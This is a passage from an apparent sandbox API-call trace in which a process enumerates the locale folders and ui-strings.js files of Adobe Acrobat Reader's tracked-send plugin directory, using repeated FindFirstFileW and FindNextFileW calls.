ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x31cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.049] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x31cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.049] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.049] GetProcessHeap () returned 0xc10000 [0264.049] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.049] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0264.049] GetProcessHeap () returned 0xc10000 [0264.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.050] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.050] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.050] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.050] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.050] GetProcessHeap () returned 0xc10000 [0264.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.050] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0264.050] GetProcessHeap () returned 0xc10000 [0264.050] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.052] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.052] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x397b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.052] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x397b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.053] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.053] GetProcessHeap () returned 0xc10000 [0264.053] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.053] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0264.053] GetProcessHeap () returned 0xc10000 [0264.053] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.054] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.054] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x377d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.054] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x377d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.054] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.054] GetProcessHeap () returned 0xc10000 [0264.054] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.054] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0264.054] GetProcessHeap () returned 0xc10000 [0264.054] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.057] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.057] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.057] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.057] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.058] GetProcessHeap () returned 0xc10000 [0264.058] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.058] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0264.058] GetProcessHeap () returned 0xc10000 [0264.058] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.059] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.059] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.059] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.059] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.059] GetProcessHeap () returned 0xc10000 [0264.059] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.059] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0264.059] GetProcessHeap () returned 0xc10000 [0264.059] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.061] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.061] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.061] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.062] GetProcessHeap () returned 0xc10000 [0264.062] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.062] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0264.062] GetProcessHeap () returned 0xc10000 [0264.062] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.064] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.064] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3701, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.064] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3701, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.064] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.065] GetProcessHeap () returned 0xc10000 [0264.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.065] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0264.065] GetProcessHeap () returned 0xc10000 [0264.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.072] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: 